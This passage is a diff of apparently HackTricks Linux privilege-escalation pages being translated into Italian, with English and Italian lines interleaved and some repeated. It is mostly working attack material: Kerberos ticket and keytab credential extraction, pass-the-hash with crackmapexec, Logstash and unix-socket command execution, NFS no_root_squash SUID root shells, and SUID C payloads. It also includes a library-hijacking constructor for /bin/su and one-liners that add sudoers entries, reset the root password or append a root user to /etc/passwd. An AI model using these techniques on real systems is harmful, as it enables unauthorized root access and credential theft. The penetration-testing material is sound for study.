**I ticket Kerberos memorizzati nella memoria di un processo possono essere estratti**, in particolare quando la protezione ptrace della macchina è disabilitata (`/proc/sys/kernel/yama/ptrace_scope`). Uno strumento utile per questo scopo si trova su [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), che facilita l'estrazione iniettando nelle sessioni e dumpando i ticket in `/tmp`.
Per configurare e utilizzare questo strumento, si seguono i seguenti passaggi:
```bash
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
/tmp/tickey -i
```
Questa procedura tenterà di iniettare in varie sessioni, indicando il successo memorizzando i ticket estratti in `/tmp` con una convenzione di denominazione di `__krb_UID.ccache`.
This procedure will attempt to inject into various sessions, indicating success by storing extracted tickets in `/tmp` with a naming convention of `__krb_UID.ccache`.
### Riutilizzo del ticket CCACHE da SSSD KCM
### CCACHE ticket reuse from SSSD KCM
SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions.
Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**.
SSSD mantiene una copia del database nel percorso `/var/lib/sss/secrets/secrets.ldb`. La chiave corrispondente è memorizzata come file nascosto nel percorso `/var/lib/sss/secrets/.secrets.mkey`. Per impostazione predefinita, la chiave è leggibile solo se si dispone di permessi **root**.
Invocando \*\*`SSSDKCMExtractor` \*\* con i parametri --database e --key si analizzerà il database e si **decrypteranno i segreti**.
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
Il **blob della cache delle credenziali Kerberos può essere convertito in un file Kerberos CCache** utilizzabile che può essere passato a Mimikatz/Rubeus.
The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus.
### CCACHE ticket reuse from keytab
### Riutilizzo del ticket CCACHE da keytab
```bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```
### Estrai account da /etc/krb5.keytab
### Extract accounts from /etc/krb5.keytab
Service account keys, essential for services operating with root privileges, are securely stored in **`/etc/krb5.keytab`** files. These keys, akin to passwords for services, demand strict confidentiality.
To inspect the keytab file's contents, **`klist`** can be employed. The tool is designed to display key details, including the **NT Hash** for user authentication, particularly when the key type is identified as 23.
Le chiavi degli account di servizio, essenziali per i servizi che operano con privilegi di root, sono archiviate in modo sicuro nei file **`/etc/krb5.keytab`**. Queste chiavi, simili a password per i servizi, richiedono una stretta riservatezza.
Per ispezionare il contenuto del file keytab, si può utilizzare **`klist`**. Lo strumento è progettato per visualizzare i dettagli delle chiavi, inclusa la **NT Hash** per l'autenticazione degli utenti, in particolare quando il tipo di chiave è identificato come 23.
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
```
For Linux users, **`KeyTabExtract`** offers functionality to extract the RC4 HMAC hash, which can be leveraged for NTLM hash reuse.
Per gli utenti Linux, **`KeyTabExtract`** offre funzionalità per estrarre l'hash RC4 HMAC, che può essere utilizzato per il riutilizzo dell'hash NTLM.
```bash
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability
```
On macOS, **`bifrost`** serves as a tool for keytab file analysis.
Su macOS, **`bifrost`** funge da strumento per l'analisi dei file keytab.
```bash
./bifrost -action dump -source keytab -path /path/to/your/file
```
Utilizing the extracted account and hash information, connections to servers can be established using tools like **`crackmapexec`**.
Utilizzando le informazioni sull'account e sull'hash estratte, è possibile stabilire connessioni ai server utilizzando strumenti come **`crackmapexec`**.
```bash
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
```
## References
## Riferimenti
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

File diff suppressed because it is too large Load Diff

View File

@ -2,59 +2,55 @@
## Logstash
Logstash is used to **gather, transform, and dispatch logs** through a system known as **pipelines**. These pipelines are made up of **input**, **filter**, and **output** stages. An interesting aspect arises when Logstash operates on a compromised machine.
Logstash viene utilizzato per **raccogliere, trasformare e inviare log** attraverso un sistema noto come **pipeline**. Queste pipeline sono composte da fasi di **input**, **filter** e **output**. Un aspetto interessante si presenta quando Logstash opera su una macchina compromessa.
### Pipeline Configuration
Pipelines are configured in the file **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations:
### Configurazione della Pipeline
Le pipeline sono configurate nel file **/etc/logstash/pipelines.yml**, che elenca le posizioni delle configurazioni delle pipeline:
```yaml
# Define your pipelines here. Multiple pipelines can be defined.
# For details on multiple pipelines, refer to the documentation:
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html
- pipeline.id: main
path.config: "/etc/logstash/conf.d/*.conf"
path.config: "/etc/logstash/conf.d/*.conf"
- pipeline.id: example
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6
```
This file reveals where the **.conf** files, containing pipeline configurations, are located. When employing an **Elasticsearch output module**, it's common for **pipelines** to include **Elasticsearch credentials**, which often possess extensive privileges due to Logstash's need to write data to Elasticsearch. Wildcards in configuration paths allow Logstash to execute all matching pipelines in the designated directory.
Questo file rivela dove si trovano i file **.conf**, contenenti configurazioni dei pipeline. Quando si utilizza un **Elasticsearch output module**, è comune che i **pipelines** includano **Elasticsearch credentials**, che spesso possiedono ampi privilegi a causa della necessità di Logstash di scrivere dati su Elasticsearch. I caratteri jolly nei percorsi di configurazione consentono a Logstash di eseguire tutti i pipeline corrispondenti nella directory designata.
### Privilege Escalation via Writable Pipelines
To attempt privilege escalation, first identify the user under which the Logstash service is running, typically the **logstash** user. Ensure you meet **one** of these criteria:
Per tentare l'escalation dei privilegi, prima identifica l'utente sotto il quale il servizio Logstash è in esecuzione, tipicamente l'utente **logstash**. Assicurati di soddisfare **uno** di questi criteri:
- Possess **write access** to a pipeline **.conf** file **or**
- The **/etc/logstash/pipelines.yml** file uses a wildcard, and you can write to the target folder
- Possedere **accesso in scrittura** a un file **.conf** del pipeline **o**
- Il file **/etc/logstash/pipelines.yml** utilizza un carattere jolly e puoi scrivere nella cartella di destinazione
Additionally, **one** of these conditions must be fulfilled:
Inoltre, **una** di queste condizioni deve essere soddisfatta:
- Capability to restart the Logstash service **or**
- The **/etc/logstash/logstash.yml** file has **config.reload.automatic: true** set
Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution. For instance:
- Capacità di riavviare il servizio Logstash **o**
- Il file **/etc/logstash/logstash.yml** ha **config.reload.automatic: true** impostato
Data la presenza di un carattere jolly nella configurazione, creare un file che corrisponde a questo carattere jolly consente l'esecuzione di comandi. Ad esempio:
```bash
input {
exec {
command => "whoami"
interval => 120
}
exec {
command => "whoami"
interval => 120
}
}
output {
file {
path => "/tmp/output.log"
codec => rubydebug
}
file {
path => "/tmp/output.log"
codec => rubydebug
}
}
```
Qui, **interval** determina la frequenza di esecuzione in secondi. Nell'esempio fornito, il comando **whoami** viene eseguito ogni 120 secondi, con il suo output diretto a **/tmp/output.log**.
Here, **interval** determines the execution frequency in seconds. In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**.
With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart. If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions.
Con **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash rileverà automaticamente e applicherà nuove o modificate configurazioni della pipeline senza necessità di riavvio. Se non c'è un carattere jolly, le modifiche possono comunque essere apportate alle configurazioni esistenti, ma si consiglia cautela per evitare interruzioni.
## References

View File

@ -1,19 +1,18 @@
{{#include ../../banners/hacktricks-training.md}}
Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine.
Leggi il _ **/etc/exports** _ file, se trovi qualche directory configurata come **no_root_squash**, allora puoi **accedervi** da **client** e **scrivere dentro** quella directory **come** se fossi il **root** locale della macchina.
**no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
**no_root_squash**: Questa opzione dà fondamentalmente autorità all'utente root sul client di accedere ai file sul server NFS come root. E questo può portare a gravi implicazioni di sicurezza.
**no_all_squash:** This is similar to **no_root_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user.
**no_all_squash:** Questa è simile all'opzione **no_root_squash** ma si applica agli **utenti non-root**. Immagina di avere una shell come utente nobody; controlla il file /etc/exports; l'opzione no_all_squash è presente; controlla il file /etc/passwd; emula un utente non-root; crea un file suid come quell'utente (montando usando nfs). Esegui il suid come utente nobody e diventa un utente diverso.
# Privilege Escalation
## Remote Exploit
If you have found this vulnerability, you can exploit it:
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary.
Se hai trovato questa vulnerabilità, puoi sfruttarla:
- **Montando quella directory** in una macchina client, e **come root copiando** dentro la cartella montata il **/bin/bash** binario e dandogli diritti **SUID**, ed **eseguendo dalla macchina vittima** quel binario bash.
```bash
#Attacker, as root user
mkdir /tmp/pe
@ -26,9 +25,7 @@ chmod +s bash
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)).
- **Montare quella directory** in una macchina client e **come root copiare** all'interno della cartella montata il nostro payload compilato che sfrutterà il permesso SUID, dargli diritti **SUID** e **eseguire da** quella macchina vittima quel binario (puoi trovare qui alcuni [C SUID payloads](payloads-to-execute.md#c)).
```bash
#Attacker, as root user
gcc payload.c -o payload
@ -42,61 +39,57 @@ chmod +s payload
cd <SHAREDD_FOLDER>
./payload #ROOT shell
```
## Local Exploit
> [!NOTE]
> Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\
> The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\
> Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\
> --_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_--
> Nota che se puoi creare un **tunnel dalla tua macchina alla macchina della vittima, puoi comunque utilizzare la versione Remota per sfruttare questa escalation di privilegi tunnelando le porte richieste**.\
> Il seguente trucco è nel caso in cui il file `/etc/exports` **indichi un IP**. In questo caso **non sarai in grado di utilizzare** in nessun caso il **remote exploit** e dovrai **sfruttare questo trucco**.\
> Un altro requisito necessario affinché l'exploit funzioni è che **l'export all'interno di `/etc/export`** **deve utilizzare il flag `insecure`**.\
> --_Non sono sicuro che se `/etc/export` indica un indirizzo IP questo trucco funzionerà_--
## Basic Information
The scenario involves exploiting a mounted NFS share on a local machine, leveraging a flaw in the NFSv3 specification which allows the client to specify its uid/gid, potentially enabling unauthorized access. The exploitation involves using [libnfs](https://github.com/sahlberg/libnfs), a library that allows for the forging of NFS RPC calls.
Lo scenario prevede di sfruttare una condivisione NFS montata su una macchina locale, sfruttando un difetto nella specifica NFSv3 che consente al client di specificare il proprio uid/gid, potenzialmente abilitando l'accesso non autorizzato. Lo sfruttamento prevede l'uso di [libnfs](https://github.com/sahlberg/libnfs), una libreria che consente la falsificazione delle chiamate RPC NFS.
### Compiling the Library
The library compilation steps might require adjustments based on the kernel version. In this specific case, the fallocate syscalls were commented out. The compilation process involves the following commands:
I passaggi per la compilazione della libreria potrebbero richiedere aggiustamenti in base alla versione del kernel. In questo caso specifico, le syscalls fallocate sono state commentate. Il processo di compilazione prevede i seguenti comandi:
```bash
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
### Esecuzione dell'Exploit
### Conducting the Exploit
L'exploit prevede la creazione di un semplice programma C (`pwn.c`) che eleva i privilegi a root e poi esegue una shell. Il programma viene compilato e il binario risultante (`a.out`) viene posizionato sulla condivisione con suid root, utilizzando `ld_nfs.so` per falsificare l'uid nelle chiamate RPC:
The exploit involves creating a simple C program (`pwn.c`) that elevates privileges to root and then executing a shell. The program is compiled, and the resulting binary (`a.out`) is placed on the share with suid root, using `ld_nfs.so` to fake the uid in the RPC calls:
1. **Compila il codice dell'exploit:**
1. **Compile the exploit code:**
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
2. **Posiziona l'exploit sulla condivisione e modifica i suoi permessi falsificando l'uid:**
2. **Place the exploit on the share and modify its permissions by faking the uid:**
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
3. **Esegui l'exploit per ottenere privilegi di root:**
```bash
/mnt/share/a.out
#root
```
3. **Execute the exploit to gain root privileges:**
```bash
/mnt/share/a.out
#root
```
## Bonus: NFShell for Stealthy File Access
Once root access is obtained, to interact with the NFS share without changing ownership (to avoid leaving traces), a Python script (nfsh.py) is used. This script adjusts the uid to match that of the file being accessed, allowing for interaction with files on the share without permission issues:
## Bonus: NFShell per Accesso ai File in Modo Stealth
Una volta ottenuto l'accesso root, per interagire con la condivisione NFS senza cambiare la proprietà (per evitare di lasciare tracce), viene utilizzato uno script Python (nfsh.py). Questo script regola l'uid per corrispondere a quello del file a cui si accede, consentendo l'interazione con i file sulla condivisione senza problemi di permesso:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
@ -104,23 +97,20 @@ import sys
import os
def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
```
Run like:
Esegui come:
```bash
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,22 +1,19 @@
# Payloads to execute
# Payloads da eseguire
{{#include ../../banners/hacktricks-training.md}}
## Bash
```bash
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
```
## C
```c
//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}
```
@ -27,9 +24,9 @@ int main(void){
#include <sys/types.h>
int main(){
setuid(getuid());
system("/bin/bash");
return 0;
setuid(getuid());
system("/bin/bash");
return 0;
}
```
@ -40,42 +37,38 @@ int main(){
#include <unistd.h>
int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}
```
## Sovrascrivere un file per escalare i privilegi
## Overwriting a file to escalate privileges
### File comuni
### Common files
- Aggiungi utente con password a _/etc/passwd_
- Cambia password all'interno di _/etc/shadow_
- Aggiungi utente a sudoers in _/etc/sudoers_
- Abusa di docker attraverso il socket docker, di solito in _/run/docker.sock_ o _/var/run/docker.sock_
- Add user with password to _/etc/passwd_
- Change password inside _/etc/shadow_
- Add user to sudoers in _/etc/sudoers_
- Abuse docker through the docker socket, usually in _/run/docker.sock_ or _/var/run/docker.sock_
### Overwriting a library
Check a library used by some binary, in this case `/bin/su`:
### Sovrascrivere una libreria
Controlla una libreria utilizzata da un binario, in questo caso `/bin/su`:
```bash
ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
```
In this case lets try to impersonate `/lib/x86_64-linux-gnu/libaudit.so.1`.\
So, check for functions of this library used by the **`su`** binary:
In questo caso proviamo a impersonare `/lib/x86_64-linux-gnu/libaudit.so.1`.\
Quindi, controlla le funzioni di questa libreria utilizzate dal **`su`** binario:
```bash
objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
@ -83,9 +76,7 @@ objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
```
The symbols `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` and `audit_fd` are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit.
I simboli `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` e `audit_fd` provengono probabilmente dalla libreria libaudit.so.1. Poiché la libaudit.so.1 sarà sovrascritta dalla libreria condivisa malevola, questi simboli dovrebbero essere presenti nella nuova libreria condivisa, altrimenti il programma non sarà in grado di trovare il simbolo e terminerà.
```c
#include<stdio.h>
#include<stdlib.h>
@ -102,34 +93,27 @@ void inject()__attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
setuid(0);
setgid(0);
system("/bin/bash");
}
```
Ora, semplicemente chiamando **`/bin/su`** otterrai una shell come root.
Now, just calling **`/bin/su`** you will obtain a shell as root.
## Script
## Scripts
Can you make root execute something?
### **www-data to sudoers**
Puoi far eseguire qualcosa a root?
### **www-data in sudoers**
```bash
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
```
### **Change root password**
### **Cambia la password di root**
```bash
echo "root:hacked" | chpasswd
```
### Add new root user to /etc/passwd
### Aggiungi un nuovo utente root a /etc/passwd
```bash
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,10 +1,10 @@
# RunC Privilege Escalation
# Elevazione di privilegi di RunC
{{#include ../../banners/hacktricks-training.md}}
## Basic information
## Informazioni di base
If you want to learn more about **runc** check the following page:
Se vuoi saperne di più su **runc** controlla la seguente pagina:
{{#ref}}
../../network-services-pentesting/2375-pentesting-docker.md
@ -12,22 +12,21 @@ If you want to learn more about **runc** check the following page:
## PE
If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**.
Se scopri che `runc` è installato nell'host, potresti essere in grado di **eseguire un container montando la cartella root / dell'host**.
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
#Once you have modified the config.json file, create the folder rootfs in the same directory
@ -37,8 +36,7 @@ mkdir rootfs
# The root folder is the one from the host
runc run demo
```
> [!CAUTION]
> This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers.
> Questo non funzionerà sempre poiché l'operazione predefinita di runc è eseguire come root, quindi eseguirlo come utente non privilegiato semplicemente non può funzionare (a meno che tu non abbia una configurazione senza root). Rendere una configurazione senza root quella predefinita non è generalmente una buona idea perché ci sono diverse restrizioni all'interno dei contenitori senza root che non si applicano al di fuori dei contenitori senza root.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,12 @@
{{#include ../../banners/hacktricks-training.md}}
# SELinux in Containers
# SELinux nei Contenitori
[Introduction and example from the redhat docs](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[Introduzione e esempio dalla documentazione di redhat](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system.
Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`.
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) è un **sistema di etichettatura**. Ogni **processo** e ogni **oggetto** del file system ha un'**etichetta**. Le politiche SELinux definiscono regole su cosa un'**etichetta di processo** è autorizzata a fare con tutte le altre etichette nel sistema.
I motori dei contenitori avviano **processi di contenitore con un'unica etichetta SELinux confinata**, di solito `container_t`, e poi impostano il contenitore all'interno del contenitore per essere etichettato `container_file_t`. Le regole della politica SELinux dicono fondamentalmente che i **processi `container_t` possono solo leggere/scrivere/eseguire file etichettati `container_file_t`**. Se un processo di contenitore sfugge al contenitore e tenta di scrivere contenuti sull'host, il kernel Linux nega l'accesso e consente solo al processo di contenitore di scrivere contenuti etichettati `container_file_t`.
```shell
$ podman run -d fedora sleep 100
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
@ -15,9 +14,8 @@ $ podman top -l label
LABEL
system_u:system_r:container_t:s0:c647,c780
```
# Utenti SELinux
# SELinux Users
There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users.
Ci sono utenti SELinux oltre agli utenti Linux regolari. Gli utenti SELinux fanno parte di una politica SELinux. Ogni utente Linux è mappato a un utente SELinux come parte della politica. Questo consente agli utenti Linux di ereditare le restrizioni e le regole di sicurezza e i meccanismi imposti sugli utenti SELinux.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
{{#include ../../banners/hacktricks-training.md}}
## Socket binding example with Python
In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible.
## Esempio di binding socket con Python
Nell'esempio seguente viene **creato un socket unix** (`/tmp/socket_test.s`) e tutto ciò che viene **ricevuto** verrà **eseguito** da `os.system`. So che non troverai questo nella realtà, ma l'obiettivo di questo esempio è vedere come appare un codice che utilizza socket unix e come gestire l'input nel peggior caso possibile.
```python:s.py
import socket
import os, os.path
@ -11,34 +10,29 @@ import time
from collections import deque
if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")
os.remove("/tmp/socket_test.s")
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
```
**Execute** the code using python: `python s.py` and **check how the socket is listening**:
**Esegui** il codice usando python: `python s.py` e **controlla come il socket sta ascoltando**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
**Exploit**
**Sfruttare**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,52 +1,50 @@
# Splunk LPE and Persistence
# Splunk LPE e Persistenza
{{#include ../../banners/hacktricks-training.md}}
If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root.
Se **enumerando** una macchina **internamente** o **esternamente** trovi **Splunk in esecuzione** (porta 8090), se per fortuna conosci delle **credenziali valide** puoi **sfruttare il servizio Splunk** per **eseguire una shell** come l'utente che esegue Splunk. Se è in esecuzione come root, puoi elevare i privilegi a root.
Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host.
Inoltre, se sei **già root e il servizio Splunk non ascolta solo su localhost**, puoi **rubare** il file **password** **dal** servizio Splunk e **crackare** le password, o **aggiungere nuove** credenziali. E mantenere la persistenza sull'host.
In the first image below you can see how a Splunkd web page looks like.
Nella prima immagine qui sotto puoi vedere come appare una pagina web di Splunkd.
## Splunk Universal Forwarder Agent Exploit Summary
## Riepilogo dell'Exploit dell'Agente Splunk Universal Forwarder
For further details check the post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a sumary:
Per ulteriori dettagli controlla il post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). Questo è solo un riepilogo:
**Exploit Overview:**
An exploit targeting the Splunk Universal Forwarder Agent (UF) allows attackers with the agent password to execute arbitrary code on systems running the agent, potentially compromising an entire network.
**Panoramica dell'Exploit:**
Un exploit che prende di mira l'Agente Splunk Universal Forwarder (UF) consente agli attaccanti con la password dell'agente di eseguire codice arbitrario sui sistemi che eseguono l'agente, compromettendo potenzialmente un'intera rete.
**Key Points:**
**Punti Chiave:**
- The UF agent does not validate incoming connections or the authenticity of code, making it vulnerable to unauthorized code execution.
- Common password acquisition methods include locating them in network directories, file shares, or internal documentation.
- Successful exploitation can lead to SYSTEM or root level access on compromised hosts, data exfiltration, and further network infiltration.
